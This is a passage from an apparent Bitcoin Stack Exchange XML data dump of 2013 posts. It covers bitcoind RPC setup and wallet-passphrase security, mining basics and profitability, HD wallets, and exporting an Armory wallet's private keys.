&lt;strong&gt;bitcoind&lt;/strong&gt; server residing on a third machine, say C, and if machine A issues walletpassphrase for 5 seconds, will machine B be able to spend coins without knowing the passphrase within those 5 seconds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it will, isn't this a most serious impendiment for using &lt;strong&gt;bitcoind&lt;/strong&gt; with many connections?&lt;/p&gt;&#xA;" OwnerUserId="10090" LastActivityDate="2013-12-06T01:19:15.157" Title="Potential security problem: wallettpassphrase opens up the wallet for everybody!" Tags="|api|passphrase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18081" PostTypeId="2" ParentId="3551" CreationDate="2013-12-06T01:04:16.390" Score="0" Body="&lt;p&gt;There is a recent archive with raw blockchain data and instructions how to get your bitcoin-qt client running fast at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/dailyblockchain/bc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dailyblockchain/bc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've followed the instructions and it worked perfectly. I had my client up and running in under 3h &lt;/p&gt;&#xA;" OwnerUserId="10245" LastActivityDate="2013-12-06T01:04:16.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18082" PostTypeId="2" ParentId="5640" CreationDate="2013-12-06T01:04:28.167" Score="5" Body="&lt;p&gt;The process is not formalized precisely because only &lt;em&gt;really&lt;/em&gt; non-controversial changes are supposed to make it in at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hasn't always been the case, but is becoming more true in the last year.&#xA;Right now the process goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start by thinking of some feature/improvement.&lt;/li&gt;&#xA;&lt;li&gt;Convince the dev team(s) of the relevant parts (core consensus, wallets, other layers) that this is a good idea in the abstract, and it needs to be standardized.&lt;/li&gt;&#xA;&lt;li&gt;Write a draft.&lt;/li&gt;&#xA;&lt;li&gt;Get gmaxwell to assign a BIP number for reference.&lt;/li&gt;&#xA;&lt;li&gt;Make everyone happy with the detailled draft.&lt;/li&gt;&#xA;&lt;li&gt;At some point, the status of the draft changes to Accepted (based on actual agreement of all/most devs).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can follow &lt;a href=&quot;https://github.com/bitcoin/bips&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bips&lt;/a&gt; to see when changes are made.&lt;/p&gt;&#xA;" OwnerUserId="5892" LastActivityDate="2013-12-06T01:04:28.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18083" PostTypeId="1" CreationDate="2013-12-06T01:12:14.320" Score="3" ViewCount="199" Body="&lt;p&gt;Running Ubuntu 12.04 LTS Desktop under Oracle VirtualBox in Windows 7 64bit I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sim@sim-VirtualBox:~/bitcoin-0.8.5-linux/bin/32$ ./bitcoind -rpcpassword=12345 **terminate called after throwing an instance of 'boost::exception_detail::clone_impl&amp;lt;boost::exception_detail::error_info_injector&amp;lt;boost::filesystem::basic_filesystem_error&amp;lt;boost::filesystem::basic_path&amp;lt;std::string, boost::filesystem::path_traits&amp;gt; &amp;gt; &amp;gt; &amp;gt;'&#xA;  what():  boost::filesystem::create_directory: File exists: &quot;/home/sim/.bitcoin&quot;&#xA;Aborted (core dumped)**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I can fix this or what the issue may be?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="3089" LastEditDate="2013-12-10T05:32:02.150" LastActivityDate="2013-12-10T05:32:02.150" Title="Error running BITCOIND in Ubuntu 12.04 Desktop" Tags="|bitcoind|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18084" PostTypeId="1" CreationDate="2013-12-06T01:17:56.420" Score="2" ViewCount="1784" Body="&lt;p&gt;Using Win7 64 bit I'm trying to get bitcoind (v0.8.5) to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin.conf has the following content (in the %appdata%\bitcoin dir):&#xA;rpcuser=12345&#xA;rpcpassword=12345&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run using command line: bitcoind -rpcpassword=12345 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then use the NIRSOFT app cports-x64 which shows list of open TCP/IP and UDP ports on computer. Bitcoind is in the list but only with port 8883. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the RPC connection not working such that port 8882 (default RPC port) is open and mapped to 127.0.0.1?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-03-06T18:50:20.137" Title="Bitcoind under Windows 7; RPC port 8882 not opening" Tags="|bitcoind|json-rpc|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18085" PostTypeId="2" ParentId="18080" CreationDate="2013-12-06T01:19:15.157" Score="2" Body="&lt;p&gt;Yes, any person you give your &lt;code&gt;rpcpass&lt;/code&gt; and &lt;code&gt;rpcuser&lt;/code&gt; to can control your wallet, that's not what the wallet encryption password designed to protect against. You really don't want to be giving arbitrary users your RPC authentication details under any circumstance, and I can't think of one where you would need to. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-06T01:19:15.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18086" PostTypeId="2" ParentId="18084" CreationDate="2013-12-06T01:21:07.243" Score="1" Body="&lt;p&gt;You need to be running &lt;code&gt;bitcoind&lt;/code&gt; with the &lt;code&gt;-server&lt;/code&gt; option set as well as &lt;code&gt;-rpcuser&lt;/code&gt; and &lt;code&gt;-rpcpass&lt;/code&gt;. These can alternatively be set as lines in your &lt;code&gt;bitcoin.conf&lt;/code&gt;. The RPC port will only be open on 8332 if all three of these options are correctly set. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-06T01:21:07.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18087" PostTypeId="2" ParentId="18083" CreationDate="2013-12-06T01:24:01.117" Score="1" Body="&lt;p&gt;Do you have a file named &lt;code&gt;.bitcoin.&lt;/code&gt; in your root directory? If so, delete it with &lt;code&gt;rm /home/sim/.bitcoin&lt;/code&gt; and try running the server again. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-06T01:24:01.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18088" PostTypeId="1" AcceptedAnswerId="18108" CreationDate="2013-12-06T01:24:03.037" Score="13" ViewCount="13779" Body="&lt;p&gt;I have a paper backup, a digital wallet backup and all the passwords: how do I retrieve the private key for a watch-only wallet so I can send some coins out of it (created in armory and imported into, for example, blockchain.info)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's not possible, is &lt;strong&gt;using passphrase from within armory&lt;/strong&gt; the only way to send coins out of an armory watch-only wallet?&lt;/p&gt;&#xA;" OwnerUserId="3381" LastEditorUserId="3381" LastEditDate="2013-12-06T05:54:07.250" LastActivityDate="2021-01-09T21:50:39.313" Title="How to obtain the private key of an Armory wallet?" Tags="|backup|armory|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18089" PostTypeId="1" CreationDate="2013-12-06T01:25:25.940" Score="2" ViewCount="518" Body="&lt;p&gt;I am studying the bitcoin internals and especially the proof-of-work. The proof-of-work is based on the mathematical problem that we have to compute from an input that produces a hash with a certain leading substring, I think the substring should start with a certain amount of zeroes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We hash the current input with SHA-256 so we need to compute 2^256. Now my question is, we hash the previous block chain's hash with transactions and the nonce? Is it anything else including in the hash? Furthermore, if the first try is not successful the nonce is changed as a result to compute a new hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few more questions: &#xA;a) If we start adding transactions to a block and another block is created before our block, what happens to our work? We start mining from the beginning or we continue mining with our remaining transactions?&#xA;b) Moreover, can we include blocks with 0 transactions to the block chain?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastEditorUserId="5406" LastEditDate="2016-03-10T08:56:04.297" LastActivityDate="2016-03-10T08:56:04.297" Title="What happens to a miner's work when they restart?" Tags="|proof-of-work|mining-technical-details|empty-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18090" PostTypeId="2" ParentId="18076" CreationDate="2013-12-06T01:25:27.173" Score="4" Body="&lt;p&gt;Yes, it is marked .old to indicate it is safe to delete. The blocks have been copied and  imported into the main blockchain that you store. The process took time because the client was verifying the blocks.&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2013-12-06T01:25:27.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18091" PostTypeId="2" ParentId="18088" CreationDate="2013-12-06T01:26:20.660" Score="1" Body="&lt;p&gt;You will need to import the paper backup if you wish to spend from it. Click &quot;import&quot; in the upper right of the window and type in the contents of your paper wallet's &lt;code&gt;root key&lt;/code&gt; and &lt;code&gt;chain code&lt;/code&gt; (if it has one). You'll have to wait for Armory to rescan if you're not at the lastest beta version.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-06T01:26:20.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18093" PostTypeId="2" ParentId="18089" CreationDate="2013-12-06T01:34:48.570" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now my question is, we hash the previous block chain's hash with transactions and the nonce? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000000488a3d3bc1d92cf44ca868650cbce012e05570cb226b4ad65&quot; rel=&quot;nofollow&quot;&gt;We can look at the form of a block here.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information that is actually hashed include the version, previous block hash, the merkle root of the transactions the miner has included in the block, the current time, the target difficulty of the block, and the 32bit nonce. The rest of the information here is infered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's more information about the block format on &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;the wiki.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Furthermore, if the first try is not successful the nonce is changed as a result to compute a new hash?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The nonce is incremented until the 32bit space is exhausted, at which point the header is modified to give a different work for the miner. At the present time this may happen many times a second.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If we start adding transactions to a block and another block is created before our block, what happens to our work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The current work is discarded, and the miner starts working on top of the highest block the know about. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Moreover, can we include blocks with 0 transactions to the block chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, a block must contain one transaction containing the miners reward, which can be any value up the limit of the current block reward, at the time of writing this is 25BTC. 1 transaction blocks are quite common, as they're less likely to be orphaned (another is created while the minted block is making it's way across the network). &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-06T01:34:48.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18094" PostTypeId="2" ParentId="18089" CreationDate="2013-12-06T01:43:05.563" Score="1" Body="&lt;p&gt;Yes, the nonce is increased each attempt.  I may be pedantic, but the hash is a double SHA256 hash, eg SHA256(SHA256(data))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000026190ebd9560f94b8d0534c6cd6fd585bf6fdb54610e6b676c3&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/000000000000026190ebd9560f94b8d0534c6cd6fd585bf6fdb54610e6b676c3&lt;/a&gt; to see an example of a raw (successfully mined block) showing the header information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you overflow (get to the top count) the nonce, you simply alter the timestamp or add new transactions and you can reset your nonce back to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it is computationally impossible for miners in different pools to come up with the same merkle root as the block &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If we start adding transactions to a block and another block is created before our block, what happens to our work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your work is lost/wasted and everyone starts mining the next block (which includes the hash of the block before it).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can we include blocks with 0 transactions to the block chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes you can, but you will be throwing away the block reward of (currently) 25BTC as one of the transactions in the block is the one claiming the reward.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-06T01:43:05.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18095" PostTypeId="1" CreationDate="2013-12-06T01:45:53.470" Score="4" ViewCount="3016" Body="&lt;p&gt;I go here&#xA;&lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.alloscomp.com/bitcoin/calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put in the amount of hashing power I am willing to purchase, EG: 100 GH/s. It tells me I will make $2,094.25 a month. I am aware that the exchange rate changes, difficulty rate rises. But what prevents me from making at least $1500. They say joining a pool is best, but even if I go it alone, what is the thing that will prevent me from making a reasonable amount of money based off of the information in this calculator. I cant be as simple as buying a miner and letting it run all day.&lt;/p&gt;&#xA;" OwnerUserId="10251" LastEditorUserId="5406" LastEditDate="2016-04-17T20:09:53.753" LastActivityDate="2016-04-17T20:09:53.753" Title="What should I consider when deciding to whether or not to mine?" Tags="|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18097" PostTypeId="2" ParentId="18095" CreationDate="2013-12-06T02:32:33.407" Score="4" Body="&lt;p&gt;You really need to take into account some important factors, which that calculator is missing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The current &lt;strong&gt;rate of increase&lt;/strong&gt; in difficulty&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;expected delivery&lt;/strong&gt; of the mining hardware&lt;/li&gt;&#xA;&lt;li&gt;The cost of the mining hardware&lt;/li&gt;&#xA;&lt;li&gt;The cost of running the mining hardware (electricity cost)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I highlighted 2 of the most underestimated factors normally ignored by new miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many mining hardware orders can have significant delays in shipping, due to high demand and low production volume. Sometimes you can wait months for a delivery, by which time the mining difficulty raised so high as to make the hardware unprofitable, even with the rise in BTC/USD price. This is especially true of new hardware pre-orders, be very careful about those (don't believe the expected shipping date).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend that you use &lt;a href=&quot;http://btcinvest.net/en/bitcoin-mining-profit-calculator.php&quot; rel=&quot;nofollow&quot;&gt;this calculator&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you fill-in a realistic hardware lead time (1 unit for every 12 days wait).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do your research otherwise you could end up not breaking even.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="8728" LastEditDate="2013-12-06T02:41:10.077" LastActivityDate="2013-12-06T02:41:10.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18098" PostTypeId="2" ParentId="13817" CreationDate="2013-12-06T02:33:13.503" Score="0" Body="&lt;p&gt;I got it working on my mac (OS X 10.9.0 Mavericks) using &lt;a href=&quot;http://spaceman.ca/cgminer&quot; rel=&quot;nofollow&quot;&gt;http://spaceman.ca/cgminer&lt;/a&gt;, but first steps first. Open Terminal and enter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo kextunload -b com.apple.driver.AppleUSBCDC&#xA;sudo kextunload -b com.apple.driver.AppleUSBCDCACMData&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will ask you for your admin password. It won't ask you for the second line (since you just recently entered your password it doesn't need it again for a few minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open my cgminer app and enter this into the box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-o poolname:portnumber -u username -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9103" LastActivityDate="2013-12-06T02:33:13.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18099" PostTypeId="2" ParentId="17981" CreationDate="2013-12-06T02:42:43.667" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=231309.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=231309.0&lt;/a&gt; worked for me, as it says:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export your private key in base58 format (how to do this depends on the software used to make the unconfirmed transaction, but I'm sure it is straight-forward)&lt;/li&gt;&#xA;&lt;li&gt;Create an empty wallet in bitcoin-qt (can be done with renaming your current wallet.dat to wallet.dat.bak and launching bitcoin-qt. Just be sure to keep wallet.dat.bak...)&lt;/li&gt;&#xA;&lt;li&gt;Launch bitcoin-qt&lt;/li&gt;&#xA;&lt;li&gt;Import the private key into bitcoin-qt (see this: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7%2B&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Quit bitcoin-qt&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run&#xA;bitcoin-qt -rescan&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wait&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Wait...&lt;/li&gt;&#xA;&lt;li&gt;Now you have the full balance of the single key you imported (compare with blockexplorer. If not, stop here and post in this thread)&lt;/li&gt;&#xA;&lt;li&gt;Create the transaction you wanted to do without forgetting the fee&lt;/li&gt;&#xA;&lt;li&gt;Delete the new, nearly empty wallet.dat (just rename it if you're not sure about that part)&lt;/li&gt;&#xA;&lt;li&gt;Rename wallet.dat.bak (thus your original wallet) to wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6012" LastActivityDate="2013-12-06T02:42:43.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18100" PostTypeId="1" CreationDate="2013-12-06T03:46:33.210" Score="1" ViewCount="8540" Body="&lt;p&gt;I created an offline wallet in 7/13 via a Ubuntu live CD. I recently imported the encrypted &lt;code&gt;wallet.dat&lt;/code&gt; file into the bitcoin-qt wallet on Windows 7. Coins appeared. But, my expected passphrase is incorrect. At first I though I mis-recorded it or mis-typed it at inception. I have contacted a service to try to brute force it. However, I just went to restore and access my offline LTC wallet and same thing. Coins appear but passphrase is wrong. Same mistake twice seems pretty unlikely. Is there any other mistake I could have made that led to this? Please help me brainstorm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I think I figured out I may have done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. encrypted wallet &#xA;2. copy wallet.dat &#xA;3. change passphrase &#xA;4. did not make new copy of `wallet.dat`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First encrypted copy would not decrypt with the new passphrase. Unfortunately, at that time I would not have grasped the consequence of resetting the passkey (ie re-encrypting the wallet.dat) and not creating a new backup of &lt;code&gt;wallet.dat&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: As a follow up it was a passphrase issue (mistyped twice at encryption). I was able to discover the actual passphrase by using the ruby script from this thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=85495&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=85495&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my post # 312 for the details if you need help solving this kind of problem. The folks in that thread are very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much thanks to all who helped. It was a stressful and frustrating experience - from which I learned a lot. :)&lt;/p&gt;&#xA;" OwnerUserId="10256" LastEditorUserId="15412" LastEditDate="2014-06-18T05:50:43.477" LastActivityDate="2014-07-09T13:55:18.263" Title="Need help with encrypted wallet.dat. I can't access it with my expected pass-phrase" Tags="|wallet|encryption|passphrase|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18101" PostTypeId="1" AcceptedAnswerId="69443" CreationDate="2013-12-06T03:50:07.283" Score="6" ViewCount="1428" Body="&lt;p&gt;This is perhaps more of an economics question than a bitcoin question, but I'm wondering if it would be viable to leave the block size capped at 1MB for all time and simply let a series of rules govern which transactions get included into a mined block, e.g.:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;paying a higher fee gives higher priority&lt;/li&gt;&#xA;&lt;li&gt;older coins get higher priority&lt;/li&gt;&#xA;&lt;li&gt;bigger spend gets higher priority&lt;/li&gt;&#xA;&lt;li&gt;etc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This would incentivize people to rely more on off-chain transactions (e.g. gyft cards), or sidechains, to accumulate many payments into a single transaction, and perhaps to delay transactions if they do not wish to pay high fees. And one benefit would be that the blockchain would not grow beyond a size which would fit on a single user's hard disk. This would keep bitcoin decentralized without any need for a hardfork.&lt;/p&gt;&#xA;&lt;p&gt;Are there any fatal flaws to this notion?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="5406" LastEditDate="2022-03-18T14:03:40.103" LastActivityDate="2022-03-18T14:03:40.103" Title="Can blocks remain capped to 1MB forever?" Tags="|transaction-selection|blocksize|block-size-increase|blockspace-market|block-weight|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18102" PostTypeId="1" CreationDate="2013-12-06T04:34:37.397" Score="18" ViewCount="15208" Body="&lt;p&gt;Title says it all. Would one private key enable you to recover all the addresses in your wallet? Or does a wallet just contain a series of key-pairs?&lt;/p&gt;&#xA;" OwnerDisplayName="user10259" LastActivityDate="2017-10-20T00:08:09.797" Title="Does a wallet containing multiple addresses have a single private key?" Tags="|wallet|private-key|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18103" PostTypeId="1" AcceptedAnswerId="18105" CreationDate="2013-12-06T04:43:43.343" Score="12" ViewCount="26234" Body="&lt;p&gt;I've just recently gotten into bitcoin, but I'm a bit confused about this 21 million bitcoin cap. From what I've read, computers on the bitcoin network validate transactions, which confirms the transfer of bitcoins between addresses. As a reward, these nodes receive bitcoins. My question is once the 21 million bitcoin cap is reached, doesn't that mean there's no incentive to validate transactions anymore? Won't the whole network essentially cease to function? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10262" LastEditorUserId="5406" LastEditDate="2016-03-07T10:35:10.730" LastActivityDate="2016-03-07T10:35:10.730" Title="What happens when the 21 million cap is reached?" Tags="|mining-theory|money-supply|shrinking-money-supply|" AnswerCount="3" CommentCount="0" ClosedDate="2015-05-04T22:49:56.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="18104" PostTypeId="2" ParentId="876" CreationDate="2013-12-06T04:46:27.823" Score="-1" Body="&lt;p&gt;The long-term miners 'fee' for validating transactions might eventually come to be interpreted as some sort of interest rate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traditionally the interest rate is defined as the opportunity cost of holding on to currency. Right now, there is a benefit to holding on to a bitcoin, but come the day when they are few and far between mined, and more and more 'validated' that validation will be the opportunity cost of not discovering a new bitcoin, and thus some sort of interest rate (i.e. not having a bitcoin).&lt;/p&gt;&#xA;" OwnerUserId="10263" LastActivityDate="2013-12-06T04:46:27.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18105" PostTypeId="2" ParentId="18103" CreationDate="2013-12-06T04:50:31.040" Score="9" Body="&lt;p&gt;Miners (who will no longer be mining, but will be validating transactions in the blockchain) will earn transaction fees. What those fees amount to or are to be interpreted as are hypothetical at this point, but might be imagined to be a transaction cost that ensures the security of the ledger.&lt;/p&gt;&#xA;" OwnerUserId="10263" LastActivityDate="2013-12-06T04:50:31.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18106" PostTypeId="1" AcceptedAnswerId="18124" CreationDate="2013-12-06T05:07:28.103" Score="2" ViewCount="3832" Body="&lt;p&gt;I wanted to give mining bitcoins a go. I set up a wallet and downloaded &lt;a href=&quot;http://guiminer.org/&quot; rel=&quot;nofollow&quot;&gt;GUIMiner&lt;/a&gt;. I also signed up for &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Pooled_Mining&quot; rel=&quot;nofollow&quot;&gt;Slush's pool&lt;/a&gt; and all of that fun stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my GPU seems to not accept anything. I have zero accepted and two stale/invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CPU is running GUI and has accepted shares. It's running at ~3.6&amp;nbsp;Mhash/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My GPU is &lt;a href=&quot;http://en.wikipedia.org/wiki/Hightech_Information_System&quot; rel=&quot;nofollow&quot;&gt;HIS&lt;/a&gt;' &lt;a href=&quot;http://en.wikipedia.org/wiki/Radeon_HD_5000_Series#Evergreen_.28HD_5xxx.29_Series&quot; rel=&quot;nofollow&quot;&gt;Radeon HD 5770&lt;/a&gt;. It also says it's running at ~890&amp;nbsp;Khash/s which seems low. It's stably overclocked and has been for some time now. How do I properly set up this GPU on GUIMiner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current preferences are set to &lt;code&gt;-v -w128&lt;/code&gt; - that I saw that on the hardware settings Wikipedia page. &lt;/p&gt;&#xA;" OwnerUserId="10264" LastEditorUserId="5406" LastEditDate="2016-04-25T21:29:09.180" LastActivityDate="2016-04-25T21:29:09.180" Title="Having some trouble getting started mining bitcoins using GUIMiner and Radeon HD 5770 graphics card" Tags="|miner-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18107" PostTypeId="2" ParentId="18102" CreationDate="2013-12-06T05:11:19.573" Score="10" Body="&lt;p&gt;There's two types of wallet. A conventional wallet is just a collection of random keys, Bitcoin-QT and Multibit fit into this category. A Hierarchical Deterministic like Electrum or Armory generate all the keys in the wallet from a single key, so that one backup is permanently associated with a wallet no mater how many new addresses and change addresses are used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot;&gt;https://en.bitcoin.it/wiki/BIP_0032&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="9790" LastEditDate="2013-12-06T05:16:51.150" LastActivityDate="2013-12-06T05:16:51.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18108" PostTypeId="2" ParentId="18088" CreationDate="2013-12-06T05:53:29.557" Score="11" Body="&lt;p&gt;&lt;strong&gt;This is how you obtain the private key for an &lt;a href=&quot;https://bitcoinarmory.com&quot; rel=&quot;noreferrer&quot;&gt;Armory&lt;/a&gt; wallet:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Armory-Qt, click on Wallet Properties (or in the newer versions, double click on your wallet to open your Wallet Properties), then click Backup this wallet&gt;See other backup options&gt;Export Key Lists then click the button &lt;em&gt;Export Key Lists&lt;/em&gt;. Enter your passphrase and Armory will show your wallet's list of public addresses and private keys. If you are --offline or didn't download the blockchain, the list may be empty (Armory thinks no addresses were used), but checking &quot;include unused&quot; will allow you to see the entire list. Note that a watch-only copy of a wallet uses the same private key as the original wallet it was created from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is useful if you want to send coins from an Armory wallet without using Armory&lt;/strong&gt;, for example from an armory wallet address you imported into blockchain.info. In order to do so, you need to enter into the chosen service the private keys to the wallet you want to send from. In the case of &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;noreferrer&quot;&gt;BlockChain.info&lt;/a&gt;, the key it accepts is the one in &lt;strong&gt;&lt;em&gt;PrivHexBE&lt;/em&gt; format&lt;/strong&gt;, &lt;strong&gt;after you remove the spaces&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Word of caution:&lt;/strong&gt; after you enter a wallet's private key into any online service that wallet is no longer secure. You should considering transferring all the coins it holds out - do not use that wallet again.&lt;/p&gt;&#xA;" OwnerUserId="3381" LastEditorUserId="57088" LastEditDate="2017-08-08T17:13:05.270" LastActivityDate="2017-08-08T17:13:05.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
